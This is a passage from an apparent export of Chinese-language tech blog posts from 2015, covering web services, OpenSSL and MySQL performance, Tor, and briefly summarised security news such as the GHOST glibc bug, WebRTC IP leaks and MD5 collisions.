    "body": "在「<a href=\"http://googlesystem.blogspot.com/2015/01/youtubes-html5-player-now-default.html\">YouTube's HTML5 Player, Now Default</a>」這邊看到的。\r\n\r\n<img src=\"//i.imgur.com/JA2xoxH.png\" alt=\"\" />\r\n\r\n這樣做又往拋棄 <a href=\"https://en.wikipedia.org/wiki/Adobe_Flash\">Flash</a> 邁進一大步... XD",
    "title": "YouTube 預設改用 HTML5 Player"
  },
  {
    "id": "5558",
    "body": "跑 <code>openssl speed ecdh</code> 的時候發現很特別的現象：\r\n\r\n<pre>Doing 160 bit  ecdh's for 10s: 40865 160-bit ECDH ops in 9.99s\r\nDoing 192 bit  ecdh's for 10s: 34169 192-bit ECDH ops in 9.99s\r\nDoing 224 bit  ecdh's for 10s: 60980 224-bit ECDH ops in 9.99s\r\nDoing 256 bit  ecdh's for 10s: 34298 256-bit ECDH ops in 10.00s\r\nDoing 384 bit  ecdh's for 10s: 9602 384-bit ECDH ops in 10.00s\r\nDoing 521 bit  ecdh's for 10s: 9127 521-bit ECDH ops in 9.99s</pre>\r\n\r\n原因是 <a href=\"https://www.google.com/\">Google</a> 這篇論文的貢獻：「<a href=\"https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/37376.pdf\">Fast Elliptic Curve Cryptography in OpenSSL</a>」，開頭就提到：\r\n\r\n<blockquote>We present a 64-bit optimized implementation of the NIST and SECG-standardized elliptic curve P-224.</blockquote>\r\n\r\n而實際成果：\r\n\r\n<blockquote>full TLS handshakes using a 1024-bit RSA certificate and ephemeral Elliptic Curve Diffie-Hellman key exchange over P-224 now run at twice the speed of standard OpenSSL, while atomic elliptic curve operations are up to 4 times faster.</blockquote>\r\n\r\n在 <a href=\"https://www.openssl.org/\">OpenSSL</a> 的 <a href=\"https://github.com/openssl/openssl/blob/OpenSSL_1_0_1-stable/CHANGES\">CHANGES</a> 也可以看到對應的修改，不只是 NIST-P224 有被改善，其他的 NIST-P256 與 NIST-P521 也都有被改善：\r\n\r\n<blockquote>Add optional 64-bit optimized implementations of elliptic curves NIST-P224, NIST-P256, NIST-P521, with constant-time single point multiplication on typical inputs.</blockquote>\r\n\r\n頗特別的...",
    "title": "OpenSSL 的 ECDH 中，224 bits 速度比 160/192 bits 快的原因"
  },
  {
    "id": "5559",
    "body": "<a href=\"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-0235\">CVE-2015-0235：glibc gethostbyname  buffer overflow</a> 的問題是：\r\n\r\n<blockquote>Heap-based buffer overflow in the __nss_hostname_digits_dots function in glibc 2.2, and other 2.x versions before 2.18, allows context-dependent attackers to execute arbitrary code via vectors related to the (1) gethostbyname or (2) gethostbyname2 function, aka \"GHOST.\"</blockquote>\r\n\r\n這個洞讓只要有接受外部 hostname 查詢的部份就會中獎 (因為所有程式語言大概都是用這組 function 查詢，除了少部份是使用 DNS 查)，再加上幾乎每支程式都會用到 glibc，在更新完後得重開機，於是有一堆機器得重開機更新了...\r\n\r\n<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 12.04 中獎，不過 14.04 混過去了...",
    "title": "CVE-2015-0235：讓人爆炸的「glibc gethostbyname  buffer overflow」"
  },
  {
    "id": "5560",
    "body": "大清早就看到「<a href=\"https://aws.amazon.com/blogs/aws/amazon-workmail-managed-email-and-calendaring-in-the-aws-cloud/\">Amazon WorkMail – Managed Email and Calendaring in the AWS Cloud</a>」這個消息。\r\n\r\n<a href=\"https://aws.amazon.com/workmail/\">Amazon WorkMail</a> 的價位是 USD$4/user (50GB 空間)，包括了 mail 與 calendar 的功能：\r\n\r\n<img src=\"//i.imgur.com/kVvJSQ7.png\" alt=\"\" />\r\n\r\n或是加上 <a href=\"https://aws.amazon.com/workdocs/\">Amazon WorkDocs</a>，需要 USD$6/user。\r\n\r\n翻了一下 <a href=\"https://www.google.com/work/apps/business/\">Google Apps for Work</a>，是 USD$6/user (30GB 空間) 以及 USD$10/user (進階功能，加上無限空間)。\r\n\r\n不過目前只支援 us-east-1 與 eu-west-1 兩個區域，而且是 Preview 狀態 (表示需要填單申請)。也許先測看看，好用的話就來等 ap-northeast-1？",
    "title": "Amazon 跨足 Email 市場"
  },
  {
    "id": "5561",
    "body": "看到 <a href=\"https://screenhero.com/\">Screenhero</a> 被 <a href=\"https://slack.com/\">Slack</a> 買下來的消息：「<a href=\"http://slackhq.com/post/109401571065/slack-and-screenhero\">Screenhero joins Slack!</a>」。目前只支援付費方案，不過在公司有在推動並且購買付費版 (Standard)，而且使用人數還算多，所以可以拿出來用。\r\n\r\n整合是在新聞稿丟出來之前就做完了，單鍵就可以同步帳號。\r\n\r\n在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 桌機上的 <a href=\"https://zh.wikipedia.org/wiki/Windows_XP\">Windows XP</a> (在 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 裡) 上想裝起來測試發現：\r\n\r\n<img src=\"//i.imgur.com/R2y3Gaf.png\" alt=\"\" />\r\n\r\n看起來得把 <a href=\"https://www.apple.com/mac/\">Mac</a> 開起來弄一弄。\r\n\r\n不過就同事丟出來的分享心得，看起來解決了之前有些同事反應的問題：\r\n\r\n<blockquote>螢幕分享還可以遠端操控\r\nteamviewer可以丟了</blockquote>\r\n\r\n不過 <a href=\"http://www.teamviewer.com/\">TeamViewer</a> 一般還是用在跟外部廠商客戶端的測試吧？倒是可以測試看看 Guest account 可不可以參與 Screenhero，如果可以的話也是不錯的選擇...",
    "title": "Slack 與 Screenhero"
  },
  {
    "id": "5562",
    "body": "粗看到還以為四月一號到了 XDDD：「<a href=\"https://imgur.com/blog/2015/01/29/introducing-video-to-gif/\">Introducing Video to GIF</a>」。\r\n\r\n拿文章裡說的範例測試 (<a href=\"https://www.youtube.com/\">YouTube</a> 的影片)：\r\n\r\n<img src=\"//i.imgur.com/F7RszQn.gif\" alt=\"\" />\r\n\r\n完全是走回頭路 XDDD",
    "title": "Imgur 推出 Video 轉 GIF 服務..."
  },
  {
    "id": "5563",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 宣佈了他們提供硬體與網路，提昇 <a href=\"https://www.torproject.org/\">Tor</a> 的隱私性：「<a href=\"https://blog.mozilla.org/it/2015/01/28/deploying-tor-relays/\">Deploying tor relays</a>」。可以在「<a href=\"https://globe.torproject.org/#/search/query=mozilla\">Results for mozilla</a>」這邊看到這一波有十二台上線了。\r\n\r\n架構上完全獨立於目前的 production 環境 (所有的硬體與網路設備)，這是 Mozilla 提供的網路架構說明：\r\n\r\n<img src=\"//i.imgur.com/W5z8QZG.png\" alt=\"\" />\r\n\r\n另外關於安全以及隱私性的部份，他們也提供了不少意見與說明。\r\n\r\n像是單一組織不應該提供太多 bandwidth，這可以當做是避嫌：\r\n\r\n<blockquote>A single organization shouldn’t be running more than 10Gbps of traffic for a middle relay (and 5Gbps for an exit node).</blockquote>\r\n\r\n一個 Tor 節點需要兩個月的時候逐漸讓整個網路使用：\r\n\r\n<blockquote>A new Tor instance (identified by its private/public key pair) will take time (up to 2 months) to use all its available bandwidth.</blockquote>\r\n\r\n目前 Tor 的程式效能限制：\r\n\r\n<blockquote>A Tor process (instance) can only push about 400Mbps.</blockquote>\r\n\r\n這是 Tor 的安全限制：\r\n\r\n<blockquote>A single public IP can only be shared by 2 Tor instances</blockquote>\r\n\r\n這是避開防火牆的限制：\r\n\r\n<blockquote>Listen on well known ports like 80 or 443</blockquote>",
    "title": "Mozilla 加入 Tor Relay 的行列"
  },
  {
    "id": "5566",
    "body": "在「<a href=\"https://speakerdeck.com/yunglin/nosql-da-chang-hua\">NoSQL 大腸花</a>」這份投影片裡面的 Page 12 有提到關於 RDBMS 的 Schema Migration：\r\n\r\n<img src=\"//i.imgur.com/T08wxxK.jpg\" alt=\"\" />\r\n\r\n以目前 open source 的兩個專案，<a href=\"http://dev.mysql.com/\">MySQL</a> 與 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 來看，裡面提到的 lock 應該都不是問題...\r\n\r\n首先是 MySQL 的部份，真的量大的網站都應該是往 InnoDB 投靠，而 <a href=\"http://www.percona.com/doc/percona-toolkit/2.1/pt-online-schema-change.html\">pt-online-schema-change</a> 在這個領域則是處理的很好。\r\n\r\n<a href=\"https://www.facebook.com/\">Facebook</a> 的 Mark Callaghan 曾經在 2010 年寫過一篇關於 InnoDB 的 online schema change 的原理：「<a href=\"https://www.facebook.com/notes/mysql-at-facebook/online-schema-change-for-mysql/430801045932\">Online Schema Change for MySQL</a>」，主要是利用 Trigger 的機制，用七個步驟架構出沒有 downtime 的 online scheme change。\r\n\r\n就算不考慮 pt-online-schema-change 這種工具，在 MySQL 5.6 開始，就有愈來愈多 ALTER TABLE 的行為是不會影響到 read/write 了：「<a href=\"http://www.percona.com/blog/2014/11/18/avoiding-mysql-alter-table-downtime/\">Avoiding MySQL ALTER table downtime</a>」。\r\n\r\n而 PostgreSQL 的情況也差不多，常見的 ALTER TABLE (新增與刪除 column 與 index) 也都不會影響 read/write。\r\n\r\n這些在 <a href=\"https://stackoverflow.com/\">Stack Overflow</a> 上有不少討論：「<a href=\"https://stackoverflow.com/questions/463677/alter-table-without-locking-the-table\">ALTER TABLE without locking the table?</a>」。\r\n\r\nMySQL 在 RDBMS 領域裡比起來的確是不怎樣，不過沒有這麼糟糕啊...",
    "title": "關於 RDBMS 的 Schema Migration..."
  },
  {
    "id": "5567",
    "body": "剛剛登入發現需要同意新版條款 (2.0)，但有條文有問題啊...\r\n\r\n1-2 的部份：\r\n\r\n<blockquote><strong>任何資料一經您上載、傳送、輸入或提供至本站時，除私人信件外</strong>，視為您已同意本站為非營利之無償使用、修改、重製、公開播送、散布、發行、公開發表該等資料，並得將前述權利在保留原作者資訊前提下，轉授權為非營利之使用(轉授權部分本站將列舉轉授權之網站並公告於本站 Announce 板，非本站或本站轉授權之網站未經同意使用您之資料，仍為侵權)。您並應保證本站使用、修改、重製、公開播送、散布、發行、公開發表、轉授權該等資料，不致侵害任何第三人之權利，否則應對本站負損害賠償責任（包括但不限於訴訟費用及律師費用等）。</blockquote>\r\n\r\n以下資料在本次條文修正時表示站方可以將以下資料公開散佈：\r\n<ul>\r\n\t<li>個人訊息 (水球紀錄)</li>\r\n\t<li>個人資料 (因為是你在註冊時輸入進去的)</li>\r\n</ul>\r\n\r\n後者由於受到「<a href=\"http://law.moj.gov.tw/LawClass/LawAll.aspx?PCode=I0050021\">個人資料保護法</a>」的法律保護，這項條文在碰觸這塊時會有很多可以防禦的方法。但前者明顯是漏洞...\r\n\r\n然後我以為官方站名中的「BBS」這個詞彙應該大寫？不知道會不會出 2.0.1...",
    "title": "Ptt 新版使用者條款的問題..."
  },
  {
    "id": "5568",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 在「<a href=\"https://code.facebook.com/posts/857662304298232/faster-photos-in-facebook-for-ios/\">Faster Photos in Facebook for iOS</a>」這篇提到使用 PJPEG 降低流量並且提昇大圖的速度。\r\n\r\n實際上我覺得有點詭異，依照說明，降低流量的部份是因為原來有縮圖與大圖：\r\n\r\n<img src=\"//i.imgur.com/dFl8r7rl.jpg\" alt=\"\" />\r\n\r\n而現在只要抓一張，所以綜合起來降低了：\r\n\r\n<img src=\"//i.imgur.com/Jtzkhqal.jpg\" alt=\"\" />\r\n\r\n但不是每一張都這樣吧？另外是降低了到一定品質所需 image loading 的時間，但這樣看起來用小縮圖應該會更好？雖然 Facebook 的人是以 A/B testing 驗證，但以目前 Facebook 提供的數據並不通，看不太懂他的邏輯...\r\n\r\n先丟著吧...",
    "title": "Facebook 用 PJPEG 的技巧"
  },
  {
    "id": "5569",
    "body": "<a href=\"http://torrentfreak.com/\">TorrentFreak</a> 上看到的：「<a href=\"http://torrentfreak.com/huge-security-flaw-leaks-vpn-users-real-ip-addresses-150130/\">Huge Security Flaw Leaks VPN Users' Real IP-Addresses</a>」。\r\n\r\n可以在「<a href=\"https://diafygi.github.io/webrtc-ips/\">https://diafygi.github.io/webrtc-ips/</a>」這邊測試，就算你在 NAT 以及 VPN 後面也可以取得真實的 Public IP 資訊。\r\n\r\n<a href=\"https://www.google.com/\">Google Chrome</a> 的使用者可以裝「<a href=\"https://chrome.google.com/webstore/detail/webrtc-block/nphkkbaidamjmhfanlpblblcadhfbkdm?hl=en\">WebRTC Block</a>」阻擋 WebRTC，而 Firefox 則可以透過 <code>about:config</code> 的設定關閉 <code>media.peerconnection.enabled</code> 這個值：\r\n\r\n<img src=\"//i.imgur.com/DqotYdh.png\" alt=\"\" />\r\n\r\n目前還不太會用到 WebRTC，先擋起來之後再說...",
    "title": "利用 WebRTC 取得瀏覽器端的 IP address"
  },
  {
    "id": "5571",
    "body": "在「<a href=\"http://natmchugh.blogspot.com/2015/02/create-your-own-md5-collisions.html\">Create your own MD5 collisions</a>」這篇教你用 <a href=\"https://aws.amazon.com/\">Amazon EC2</a> 的 GPU instance 計算 MD5 collision。\r\n\r\n由於不是什麼正式的服務，文章裡介紹你用 Spot instance 開機器，會便宜不少。可以看到最後的結果：\r\n\r\n<img src=\"//i.imgur.com/QMM9Owd.png\" alt=\"\" />\r\n\r\n在文後也把兩張圖都附上來讓大家確認，抓下來後也可以確認：\r\n\r\n<pre>gslin@GSLIN-DESKTOP [~/tmp] [13:16/W3] md5sum *.jpg\r\n253dd04e87492e4fc3471de5e776bc3d  plane.jpg\r\n253dd04e87492e4fc3471de5e776bc3d  ship.jpg</pre>\r\n\r\n屬於 chosen prefix collision 的攻擊。",
    "title": "用 Amazon EC2 的 GPU instance 計算 MD5 collision"
  },
  {
    "id": "5572",
    "body": "<a href=\"https://github.com/\">GitHub</a> 的公告：「<a href=\"https://github.com/blog/1956-keeping-github-oauth-tokens-safe\">Keeping GitHub OAuth Tokens Safe</a>」。\r\n\r\n當你不小心把 GitHub 的 OAuth Access Token 推到 GitHub 的 public repository 時，站方會自動 revoke 掉：\r\n\r\n<blockquote>Starting today you can commit more confidently, knowing that we will email you if you push one of your OAuth Access Tokens to any public repository with a git push command. As an extra bonus, we'll also revoke your token so it can't be used to perform any unauthorized actions on your behalf.</blockquote>\r\n\r\n保護使用者在使用 GitHub 自家的產品。",
    "title": "GitHub 保護自家的 OAuth Access Token 不會進入 GitHub 上公開的 Repository"
  },
  {
    "id": "5574",
    "body": "在 <a href=\"http://www.cedexis.com/\">Cedexis</a> 上看到的 CDN 業者：「<a href=\"https://www.keycdn.com/\">KeyCDN</a>」，查了查資料才發現 2012 就已經成立了，<a href=\"https://en.wikipedia.org/\">維基百科</a>上也有個條目：「<a href=\"https://en.wikipedia.org/wiki/KeyCDN\">KeyCDN</a>」。\r\n\r\n與其他 CDN 相比節點不算多，不過重要的地點也都有 PoP 了。\r\n\r\n主要是價錢很便宜，另外在亞洲區的資料上，Cedexis 上跑出來的結果還不錯？以亞洲只有三個大的點來說好像還不錯... (新加坡、香港、日本)\r\n\r\n註冊後給 30 days 的試用期與 25GB 流量測試。後台的反應速度很不錯 (即使伺服器是放在德國)，而且操作也很簡單。找個機會丟些東西上去測看看...",
    "title": "測試 KeyCDN"
  },
  {
    "id": "5575",
    "body": "翻資料才知道一月中的時候 µBlock 就支援 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 了：「<a href=\"https://github.com/gorhill/uBlock\">µBlock - An efficient blocker for Chromium, Firefox, and Safari. Fast and lean.</a>」。\r\n\r\n可以看到不遺餘力的酸 <a href=\"https://adblockplus.org/\">Adblock Plus</a>，裝了 ABP 記憶體使用量反而變大，而且變慢很多：\r\n\r\n<img src=\"//i.imgur.com/N7KCsQO.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/CGAZTB2.png\" alt=\"\" />\r\n\r\n目前只提供 xpi 檔下載安裝，暫時沒有在 <a href=\"https://addons.mozilla.org/\">addons.mozilla.org</a> 上出現。",
    "title": "Firefox 版的 µBlock"
  },
  {
    "id": "5576",
    "body": "<a href=\"https://imgur.com/\">Imgur</a> 是有名的 Image Hosting，因為速度還算穩定，所以很多人用。\r\n\r\n剛剛看到的新消息，本來要收費 USD$23.95/year 的 Imgur Pro 變成免費了：「<a href=\"https://imgur.com/blog/2015/02/09/imgur-pro-for-everyone/\">Imgur Pro for Everyone</a>」。\r\n\r\n從頁庫存檔抓個截圖下來，把本來 Imgur Pro 的介紹頁記錄下來：(點擊後是大圖)\r\n\r\n<a href=\"https://i.gslin.com/imgur/lg6TRCY.jpg\"><img src=\"//i.imgur.com/lg6TRCYl.jpg\" alt=\"\" /></a>\r\n\r\n不知道接下來會有什麼新的招數...",
    "title": "Imgur Pro 變免費..."
  },
  {
    "id": "5577",
    "body": "<a href=\"https://aws.amazon.com/config/\">AWS Config</a> 是個稽核類的產品，把所有的操作行為記錄下來，供事後查詢，一開始只有最早的 us-east-1 有，而剛剛公佈了多支援 us-west-2、eu-west-1、ap-southeast-2 這三區：\r\n\r\n<blockquote>Today we are adding support for the US West (Oregon), Europe (Ireland), and Asia Pacific (Sydney) regions, with support for others also on the drawing board.</blockquote>\r\n\r\n不知道為什麼是這三區先上...",
    "title": "AWS Config 多支援三區..."
  },
  {
    "id": "5578",
    "body": "<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 將會在接下來幾個星期的 40 版支援 HTTP/2 (現在已經是 40 版了，所以照這個說法應該是 41 一定會有？)，並且在 2016 年拿掉對 SPDY 的支援：「<a href=\"http://blog.chromium.org/2015/02/hello-http2-goodbye-spdy-http-is_9.html\">Hello HTTP/2, Goodbye SPDY</a>」。\r\n\r\n接下來又是大量的 migrate 了：\r\n\r\n<blockquote>We plan to remove support for SPDY in early 2016, and to also remove support for the TLS extension named NPN in favor of ALPN in Chrome at the same time. Server developers are strongly encouraged to move to HTTP/2 and ALPN.</blockquote>\r\n\r\n在「<a href=\"https://github.com/http2/http2-spec/wiki/Implementations\">Implementations</a>」這邊可以看到 HTTP/2 支援的程度，包括了 client 與 server 的部份。",
    "title": "Google Chrome 將會用 HTTP/2 取代 SPDY"
  },
  {
    "id": "5579",
    "body": "前幾天資安界的新聞，<a href=\"https://xato.net/about/\">Mark Burnett</a> 放出了一千萬筆 username + password 的資料，並且給了一份 FAQ 說明：「<a href=\"https://xato.net/passwords/ten-million-passwords/\">Today I Am Releasing Ten Million Passwords</a>」、「<a href=\"https://xato.net/passwords/ten-million-passwords-faq/\">Ten Million Passwords FAQ</a>」。\r\n\r\n這些資料是整理自網路上已經公開的資訊，讓人研究各種行為。檔案可以透過 BitTorrent 下載取得...",
    "title": "公開的密碼檔"
  },
  {
    "id": "5580",
    "body": "在「<a href=\"http://blog.jquery.com/2015/02/11/jquery-foundation-2014-annual-report/\">jQuery Foundation 2014 Annual Report</a>」這篇裡面有提到了 <a href=\"https://jquery.com/\">jQuery</a> 在 2014 年的情況，其中 <a href=\"https://code.jquery.com/\"><code>code.jquery.com</code></a> 使用的頻寬這段還蠻有趣的：\r\n\r\n<blockquote>If you need evidence that jQuery Foundation projects are used everywhere, look no further than our Content Delivery Network (CDN) powered by MaxCDN. The 290 billion requests in 2014 transferred nearly 11 petabytes of data. That, of course, does not include the requests for locally hosted copies of jQuery and to other CDNs such as Google, Microsoft, or CDNJS. No doubt the overall number of requests is in the trillions.</blockquote>\r\n\r\n光是 <code>code.jquery.com</code> 每天的量平均就是 30TB，也就是平均流量 3Gbps？如果考慮到 <a href=\"https://www.google.com/\">Google</a> 提供的平台更普及...",
    "title": "jQuery 官方在 2014 年的概況"
  },
  {
    "id": "5581",
    "body": "「<a href=\"https://jeremytinley.wordpress.com/2015/02/08/multithreaded-replication-to-the-rescue/\">Multithreaded Replication to the Rescue</a>」這篇提到了 Replication 的 Parallel Worker 機制。\r\n\r\n作者給了平行的數量對 replication lag 的影響：\r\n\r\n<img src=\"//i.imgur.com/ooV5yDm.png\" alt=\"\" />\r\n\r\n可以看得出來 Parallel Worker 機制對 Replication Lag 改善頗大，不過作者在 comment 提到中雷了：「<a href=\"https://bugs.launchpad.net/percona-server/+bug/1420606\">MTS breaks in after restart</a>」。\r\n\r\n對於還在使用 traditional master-slave 架構的人可以參考看看。",
    "title": "MySQL 的 Parallel Replication"
  },
  {
    "id": "5582",
    "body": "關於 .onion 的 SSL Certificate，在 <a href=\"https://cabforum.org/\">CAB Forum</a> 這邊提出來表決了：「<a href=\"https://cabforum.org/2015/02/11/ballot-144-validation-rules-dot-onion-names/\">Ballot 144 – Validation rules for .onion names</a>」。\r\n\r\n有些時間限制與一般的 SSL Certificate 不太一樣：\r\n\r\n<blockquote>CAs MUST NOT issue a Certificate that includes a Domain Name where .onion is in the right-most label of the Domain Name with a validity period longer than 15 months. Despite Section 9.2.1 of the Baseline Requirements deprecating the use of Internal Names, a CA MAY issue a Certificate containing an .onion name with an expiration date later than 1 November 2015 after (and only if) .onion is officially recognized by the IESG as a reserved TLD.</blockquote>\r\n\r\n然後：\r\n\r\n<blockquote>On or before May 1, 2015, each CA MUST revoke all Certificates issued with the Subject Alternative Name extension or Common Name field that includes a Domain Name where .onion is in the right-most label of the Domain Name unless the Certificate was issued in compliance with this Appendix F.</blockquote>\r\n\r\n等投票結束後再來看...",
    "title": "關於 .onion SSL Certificate 的表決 (Tor Network)"
  },
  {
    "id": "5583",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://jeff-barr.com/\">Jeff Barr</a> 轉貼自論壇的公告：「<a href=\"https://forums.aws.amazon.com/ann.jspa?annID=2877\">Announcement: Elastic Load Balancing releases security update to disable RC4</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>ELB Security Update - Disable RC4 - <a href=\"http://t.co/vQiGko8IR3\">http://t.co/vQiGko8IR3</a> (follow directions to update existing ELBs). <a href=\"https://twitter.com/hashtag/aws?src=hash\">#aws</a> <a href=\"http://t.co/jHMOg9cbg0\">pic.twitter.com/jHMOg9cbg0</a></p>&mdash; Jeff Barr (@jeffbarr) <a href=\"https://twitter.com/jeffbarr/status/565996797244755970\">February 12, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n既有的 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 不受影響，不過官方還是建議把現有的 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a> 關閉。新開的 ELB 如果需要 RC4 也還是可以手洞開回來：\r\n\r\n<blockquote>If you require RC4 ciphers you can re-enable them by selecting the 2014-10 SSL Security Policy or by manually configuring the SSL ciphers used by the load balancer.</blockquote>",
    "title": "ELB 預設關閉 RC4 Cipher"
  },
  {
    "id": "5584",
    "body": "以往要看 TLS traffic，需要用 <a href=\"https://mitmproxy.org/\">mitmproxy</a> 之類的軟體擋在中間，這需要在 client 端安裝對應的 CA root certificate。\r\n\r\n而剛剛在「<a href=\"https://jimshaver.net/2015/02/11/decrypting-tls-browser-traffic-with-wireshark-the-easy-way/\">Decrypting TLS Browser Traffic With Wireshark – The Easy Way!</a>」這篇文章裡面提到了如何讓 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 與 <a href=\"https://www.google.com/chrome/\">Chrome</a> 記錄下 TLS 的 Session Key，然後倒給 <a href=\"https://www.wireshark.org/\">Wireshark</a> 使用。(文章裡有提到需要 dev 版本，不確定是因為新版支援的關係，還是這個功能限制在 dev 版才能用)\r\n\r\n方法是在執行時設定 <code>SSLKEYLOGFILE</code> 這個環境變數，指定寫到某個檔案裡。不論是在 Windows &amp; MacOSX &amp; Linux 都一樣。\r\n\r\n之後就可以把 Session Key 丟給 Wireshark 處理了，就像是這樣：(原文的範例)\r\n\r\n<img src=\"//i.imgur.com/jEEaSlO.png\" alt=\"\" />",
    "title": "記錄 Firefox/Chrome 在 TLS 的 Session Key 供 Wireshark 使用"
  },
  {
    "id": "5585",
    "body": "在不靠外力的情況下 (不透過 USB 開機或是 CD/DVD 開機)，利用內建的工具拿到 Windows 7 的管理權限：「<a href=\"https://imgur.com/gallery/H8obU\">A tutorial on how to get into an admin account on ANY computer.</a>」。\r\n\r\n最後會變成這樣：\r\n\r\n<img src=\"//i.imgur.com/dZF2CDh.png\" alt=\"\" />\r\n\r\n這方法真是糟糕 XDDD",
    "title": "利用記事本與五下 Shift 拿到 Windows 7 的管理權限..."
  },
  {
    "id": "5586",
    "body": "之前推出「<a href=\"http://0hh1.com/\">0h h1</a>」的 <a href=\"http://martinkool.com/\">Martin Kool</a> 又推出了新的遊戲「<a href=\"http://0hn0.com/\">0h n0</a>」：\r\n\r\n<img src=\"//i.imgur.com/WwFucRP.png\" alt=\"\" />\r\n\r\n又是個殺時間的小遊戲... XD\r\n\r\n看這些圈圈玩久了，回頭看 Terminal 會有種特別方正的感覺 XD",
    "title": "0h n0：Q42 推出的新遊戲..."
  },
  {
    "id": "5587",
    "body": "在之前受到批評後，<a href=\"https://www.google.com/\">Google</a> 的 <a href=\"http://googleprojectzero.blogspot.com/\">Project Zero</a> 修正了對應的 Policy：「<a href=\"http://googleprojectzero.blogspot.com/2015/02/feedback-and-data-driven-updates-to.html\">Feedback and data-driven updates to Google’s disclosure policy</a>」。\r\n\r\n原先的 Policy 是 90 天強制公開，修正的 Policy 有幾個改善：\r\n<ul>\r\n\t<li>如果揭露日是週末或是美國的假日，會順延到下一個工作日。</li>\r\n\t<li>如果原廠有告知需要更多時間修復，Project Zero 會延長 14 天的寬限期。</li>\r\n\t<li>在公開前會申請對應的 <a href=\"https://cve.mitre.org/\">CVE</a> 號碼。</li>\r\n</ul>",
    "title": "Google 的 Project Zero 修正 Policy"
  },
  {
    "id": "5589",
    "body": "在「<a href=\"http://news.slashdot.org/story/15/02/05/236231/youtube-launches-multi-angle-video-experiment\">YouTube Launches Multi-Angle Video Experiment</a>」這邊看到的，<a href=\"https://www.youtube.com/\">YouTube</a> 找來了翻唱歌手 <a href=\"https://www.youtube.com/user/MadilynBailey\">Madilyn Bailey</a> 來示範。\r\n\r\n影片可以到 Madilyn Bailey 的「<a href=\"https://www.youtube.com/user/MadilynBailey/ChooseYourView\">Choose Your View</a>」這邊看。\r\n\r\n切換時不是很順，看起來還在實驗... XD",
    "title": "YouTube 的多視角影片"
  },
  {
    "id": "5591",
    "body": "清舊文章看到的：「<a href=\"http://observationdeck.io9.com/why-is-the-dollar-sign-a-letter-s-1683940575\">Why Is The Dollar Sign A Letter S?</a>」。不少國家的貨幣符號是使用 $，這篇文章說明原因是因為來自 peso：\r\n\r\n<img src=\"//i.imgur.com/DlqBx64.png\" alt=\"\" />",
    "title": "為什麼金錢符號 $ 是英文字母 S 加上一豎？"
  },
  {
    "id": "5592",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的：「<a href=\"http://www.noisli.com/\">Noisli</a>」。\r\n\r\n當需要專心時會找<a href=\"https://zh.wikipedia.org/wiki/%E7%99%BD%E9%9B%9C%E8%A8%8A\">白噪音</a>、<a href=\"https://zh.wikipedia.org/wiki/%E7%B2%89%E7%BA%A2%E5%99%AA%E5%A3%B0\">粉紅噪音</a>這類背景聲音來放，而這個網站則是提供的自然背景的聲音讓你選 (並且 mix)...\r\n\r\n另外有 iOS app 可以裝：「<a href=\"https://itunes.apple.com/us/app/noisli/id862773459\">Noisli</a>」。",
    "title": "需要專心時的聲音"
  },
  {
    "id": "5593",
    "body": "MegaUpload 的程式設計師 Andrus Nõmm 從荷蘭被引渡至美國受審：「<a href=\"http://torrentfreak.com/megaupload-programmer-arrested-in-the-u-s-150210/\">Megaupload Programmer Arrested in The U.S.</a>」、「<a href=\"http://arstechnica.com/tech-policy/2015/02/megaupload-programmer-pleads-guilty-sentenced-to-a-year-in-prison/\">Megaupload programmer pleads guilty, sentenced to a year in prison</a>」。\r\n\r\n<img src=\"//i.imgur.com/iKvES6J.png\" alt=\"\" />\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>The US Justice system: An innocent coder pleads guilty after 3 years of DOJ abuse, with no end in sight, in order to move on with his life.</p>&mdash; Kim Dotcom (@KimDotcom) <a href=\"https://twitter.com/KimDotcom/status/566305241864212480\">February 13, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n趕盡殺絕...",
    "title": "MegaUpload 的程式設計師被引渡至美國受審"
  },
  {
    "id": "5594",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的「<a href=\"http://githut.info/\">GitHut - Programming Languages and GitHub</a>」：\r\n\r\n<blockquote>GitHut is an attempt to visualize and explore the complexity of the universe of programming languages used across the repositories hosted on GitHub.</blockquote>\r\n\r\n<img src=\"//i.imgur.com/wWxcaGr.png\" alt=\"\" />\r\n\r\n主要是資訊呈現的方式很不錯，所以特別記錄下來...",
    "title": "GitHut：GitHub 上程式語言的分析"
  },
  {
    "id": "5595",
    "body": "一般的 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 更新需要重開機，其中有個商用方案 <a href=\"https://www.ksplice.com/\">kSplice</a> 可以做到這點，不過這需要付錢給 <a href=\"http://www.oracle.com/\">Oracle</a>。\r\n\r\n在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 Live Patching 功能的 Open Source 方案前進了一大步：「<a href=\"http://linux.slashdot.org/story/15/02/12/1853215/live-patching-now-available-for-linux\">Live Patching Now Available For Linux</a>」，對應的 Git 記錄在「<a href=\"https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=1d9c5d79e6e4385aea6f69c23ba543717434ed70\">Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/livepatching</a>」這邊。\r\n\r\n<a href=\"http://www.redhat.com/\">RedHat</a> 與 <a href=\"https://www.suse.com/\">SUSE</a> 都各自實做了對應的版本，而這次 Linus 是在 Kernel 